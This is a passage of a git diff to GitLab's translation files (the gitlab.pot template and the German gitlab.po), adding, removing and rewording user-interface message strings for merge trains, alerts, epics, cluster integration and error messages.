-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/de/gitlab.po b/locale/de/gitlab.po
index a9992240a49..de0261850b7 100644
--- a/locale/de/gitlab.po
+++ b/locale/de/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: de\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:45\n"
+"PO-Revision-Date: 2020-09-04 23:07\n"
msgid " %{start} to %{end}"
msgstr " %{start} bis %{end}"
@@ -56,14 +56,14 @@ msgstr[1] " um %d Punkte verbessert"
msgid " or "
msgstr " oder "
-msgid " or <!merge request id>"
-msgstr " oder <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
+msgstr ""
-msgid " or <#issue id>"
-msgstr " oder <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
-msgstr " oder <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
+msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr " oder Referenzen (z.B. Pfad/zum/Projekt!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr " oder Referenzen (z.B. Pfad/zum/Projekt!merge_request_id)"
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr "\"%{path}\" existiert nicht auf \"%{ref}\""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] "%s zusätzliche Commits wurden ausgelassen um Leistungsprobleme zu ve
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr "%{cores} Kerne"
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr "%{count} LOC/Commit"
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr "%{description}- Sentry-Event: %{errorUrl}- Zuerst gesehen: %{firstSeen}- Zuletzt gesehen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr "%{duration}ms"
@@ -416,8 +428,8 @@ msgstr "%{firstLabel} +%{labelCount} mehr"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
-msgstr "%{global_id} ist keine gültige ID für %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
+msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
msgstr "%{group_docs_link_start}Gruppen%{group_docs_link_end} ermöglichen dir die Verwaltung und die Zusammenarbeit über mehrere Projekte hinweg. Mitglieder einer Gruppe haben Zugriff auf alle Projekte darin."
@@ -503,9 +515,6 @@ msgstr "%{level_name} ist in einer %{group_level_name} -Gruppe nicht erlaubt."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} ist nicht zulässig, da das Fork-Quellprojekt eine geringere Sichtbarkeit hat."
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr "%{listToShow} und %{awardsListLength} weitere."
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} Gestartet"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} ist durch Gitlab-Benutzer(in) %{lock_user_id} gesperrt"
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr "%{mergeLength}/%{usersLength} können zusammenführen"
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText}, dieses Ticket wird automatisch geschlossen werden."
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr "%{size} MiB"
msgid "%{size} bytes"
msgstr "%{size} Bytes"
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr "%{spammable_titlecase} wurde erfolgreich an Akismet übermittelt."
@@ -685,6 +715,9 @@ msgstr "%{start} bis %{end}"
msgid "%{state} epics"
msgstr "%{state} Epics"
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr "%{total} offenes Ticketgewicht"
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr "(externe Quelle)"
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr "(entfernt)"
@@ -1042,15 +1099,6 @@ msgstr "8 Stunden"
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr "< 1 Stunde"
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr "<strong>Löscht</strong> den Quellbranch"
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr "Ein 'Runner' ist ein Prozess, welcher ein Job ausführt. Du kannst so viele Runner erstellen wie du benötigst."
@@ -1114,8 +1162,8 @@ msgstr "Deinen Bericht wird so schnell wie möglich von einer zuständigen Perso
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr "Eine Genehmigung des Merge-Requests ist erforderlich, wenn ein Sicherheitsbericht eine neue Sicherheitslücke von hoher, kritischer oder unbekannter Schwere erhält."
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
-msgstr "Eine Genehmigung des Merge-Requests ist erforderlich, wenn der Lizenz-Compliance-Bericht eine Lizenz auf einer schwarzen Liste beinhaltet."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
+msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
msgstr ""
@@ -1132,6 +1180,9 @@ msgstr "Ein neuer Branch wird in deinem Fork erzeugt und ein neuer Merge-Request
msgid "A new impersonation token has been created."
msgstr "Eine neuer Identitätswechsel-Token wurde erstellt."
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr "Eine einfache HTML-Seite, welche statt GitLab Netlify für CI/CD nutzt, aber trotzdem von all den anderen nützlichen GitLab-Funktionen profitiert."
@@ -1234,6 +1285,9 @@ msgstr "Zugriff auf das Ablaufdatum"
msgid "Access forbidden. Check your access level."
msgstr "Zugriff verboten. Überprüfe deine Zugriffsebene."
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr "Zugriff auf '%{classification_label}' nicht erlaubt"
@@ -1345,6 +1399,9 @@ msgstr "Aktivieren"
msgid "Activate Service Desk"
msgstr "Service-Desk aktivieren"
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "Aktiv"
@@ -1377,12 +1434,6 @@ msgstr[1] "%d Tickets hinzufügen"
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr "CHANGELOG hinzufügen"
@@ -1497,6 +1548,9 @@ msgstr "Sub-Epic hinzufügen"
msgid "Add comment now"
msgstr "Jetzt kommentieren"
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr "E-Mail-Adresse hinzufügen"
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr "Kopf- und Fußzeile zu E-Mails hinzufügen. Bitte beachte, dass Farbeinstellungen nur innerhalb des Anwendungs-Interfaces angewendet werden"
@@ -1521,6 +1578,9 @@ msgstr "Tickets hinzufügen"
msgid "Add italic text"
msgstr "Kursiven Text hinzufügen"
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr "Label(s) hinzufügen"
@@ -1800,6 +1860,9 @@ msgstr "Pipeline-Konfigurationsdatei auswählen"
msgid "AdminSettings|Select a template"
msgstr "Wähle eine Vorlage"
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr "Gib eine Domain an, die standardmäßig für die Auto-Review-Anwendungen
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr "Die erforderliche Pipeline-Konfiguration kann aus dem Verzeichnis %{code_start}gitlab-ci%{code_end} im konfigurierten %{link_start}Instanz-Vorlagen-Repository%{link_end} oder aus den von GitLab bereitgestellten Konfigurationen ausgewählt werden."
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr "Eine neu erstellte Umgebungsvariable ist standardmäßig geschützt."
@@ -2042,6 +2108,9 @@ msgstr[1] "Alarme"
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr "Alle E-Mail-Adressen werden verwendet, um deine Commits zu identifiziere
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr "Alle Features sind für leere Projekte, Vorlagen, oder beim Import aktiviert. Du kannst sie aber danach in den Projekteinstellungen deaktivieren."
@@ -2471,6 +2540,9 @@ msgstr "Dauer (in Stunden), für die der/die Benutzer(in) die erzwungene Konfigu
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr "Beim Abrufen der Service-Desk-Adresse ist ein Fehler aufgetreten."
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Beim Abrufen der Board-Listen ist ein Fehler aufgetreten. Bitte versuche es erneut."
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr "Beim Abrufen der Builds ist ein Fehler aufgetreten."
@@ -2753,15 +2837,18 @@ msgstr "Beim Abrufen der Kalenderaktivität ist ein Fehler aufgetreten"
msgid "An error occurred while retrieving diff"
msgstr "Beim Abrufen des Diffs ist ein Fehler aufgetreten"
+msgid "An error occurred while retrieving diff files"
+msgstr ""
+
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
msgid "An error occurred while saving LDAP override status. Please try again."
msgstr "Beim Speichern des LDAP-Ãœberschreibungsstatus ist ein Fehler aufgetreten. Bitte versuche es erneut."
msgid "An error occurred while saving assignees"
msgstr "Beim Speichern der Zuweisungen ist ein Fehler aufgetreten"
-msgid "An error occurred while saving the approval settings"
-msgstr "Beim Speichern der Genehmigungseinstellungen ist ein Fehler aufgetreten"
-
msgid "An error occurred while saving the template. Please check if the template exists."
msgstr ""
@@ -2786,12 +2873,18 @@ msgstr "Beim Ändern der Genehmigungsberechtigten ist ein Fehler aufgetreten"
msgid "An error occurred while updating the comment"
msgstr "Beim Aktualisieren des Kommentars ist ein Fehler aufgetreten"
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr "Beim Validieren des Benutzernamens ist ein Fehler aufgetreten"
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr "Ein Fehler ist aufgetreten. Bitte versuche es erneut."
@@ -2870,6 +2963,9 @@ msgstr "Irgendein"
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr "Apr"
msgid "April"
msgstr "April"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr "Projekt archivieren"
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr "Archiviertes Projekt! Repository und andere Projektressourcen sind schreibgeschützt"
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr "Richten Sie GitLab für ein Unternehmen ein?"
-
msgid "Are you sure that you want to archive this project?"
msgstr "Möchtest du wirklich dieses Projekt archivieren?"
@@ -3223,7 +3322,7 @@ msgstr "Bist du dir sicher? Alle Commits, die mit diesem GPG-Schlüssel signiert
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr "Diagramme anordnen"
msgid "Artifact"
msgstr "Artefakt"
-msgid "Artifact ID"
-msgstr "Artefakt-ID"
-
msgid "Artifact could not be deleted."
msgstr "Artefakt konnte nicht gelöscht werden."
@@ -3250,6 +3346,9 @@ msgstr "Artefakte"
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr "Autorisieren"
msgid "Authorize %{link_to_client} to use your account?"
msgstr "Autorisierst du %{link_to_client} dein Konto zu verwenden?"
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr "Automatische Zertifikatsverwaltung mit %{lets_encrypt_link_start}Let's E
msgid "Automatic certificate management using Let's Encrypt"
msgstr "Automatische Zertifikatsverwaltung mit Let's Encrypt"
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,8 +3815,8 @@ msgstr "Diese Gruppe hat keine Badges"
msgid "Badges|This project has no badges"
msgstr "Dieses Projekt hat keine Badges"
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
-msgstr "Du bist gerade dabei dieses Badge zu entfernen. Entfernte Badges können <strong>nicht</strong> rückgängig gemacht werden."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
+msgstr ""
msgid "Badges|Your badges"
msgstr "Deine Badges"
@@ -3827,6 +3929,9 @@ msgstr "monatlich"
msgid "BillingPlans|per user"
msgstr "je Benutzer(in)"
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,14 +4001,17 @@ msgstr ""
msgid "Boards|View scope"
msgstr "Bereich anzeigen"
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr "Branch %{branchName} wurde im Repository dieses Projekts nicht gefunden."
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr "Branch <strong>%{branch_name}</strong> wurde erstellt. Um die automatische Bereitstellung einzurichten, wähle eine GitLab CI Yaml Vorlage und committe deine Änderungen. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
msgid "Branch has changed"
msgstr "Branch wurde geändert"
@@ -4097,6 +4205,9 @@ msgstr "Offene Tickets"
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr "Business"
@@ -4271,6 +4382,9 @@ msgstr "Canary Deployments sind eine beliebte CI-Strategie, in der zunächst ein
msgid "Cancel"
msgstr "Abbrechen"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr "Überprüfe die Verfügbarkeit der Funktion im Namensraum"
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "Lies die %{docs_link_start}Dokumentation%{docs_link_end}."
-msgid "Check your .gitlab-ci.yml"
-msgstr "Prüfe deine .gitlab-ci.yml"
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,8 +4853,8 @@ msgstr "Wähle die übergeordnetste Gruppe für deine Repository-Importe."
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
-msgstr "Inhalte auswählen, die auf Gruppenübersichtsseiten angezeigt werden"
+msgid "Choose what content you want to see on a group’s overview page."
+msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
msgstr "Wähle welche Repositories du verbinden und die CI/CD-Pipelines ausführen möchtest."
@@ -4910,9 +5021,15 @@ msgstr "ist nicht verfügbar: %{reason}"
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr "Leeren"
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr "Geschlossen"
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr "Geschlossene Tickets"
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
-msgstr "%{custom_domain_start}Mehr Informationen%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
+msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
-msgstr "kann anstatt einer benutzerdefinierten Domain verwendet werden."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
+msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} wurde erfolgreich auf deinem Kubernetes-Cluster installiert"
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,14 +5237,17 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr "Ermögliche GitLab, Namespace- und Service-Konten für diesen Cluster zu verwalten. %{startLink}Weitere Informationen%{endLink}"
-msgid "ClusterIntegration|Alternatively"
-msgstr "Alternativ"
+msgid "ClusterIntegration|Alternatively, "
+msgstr ""
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
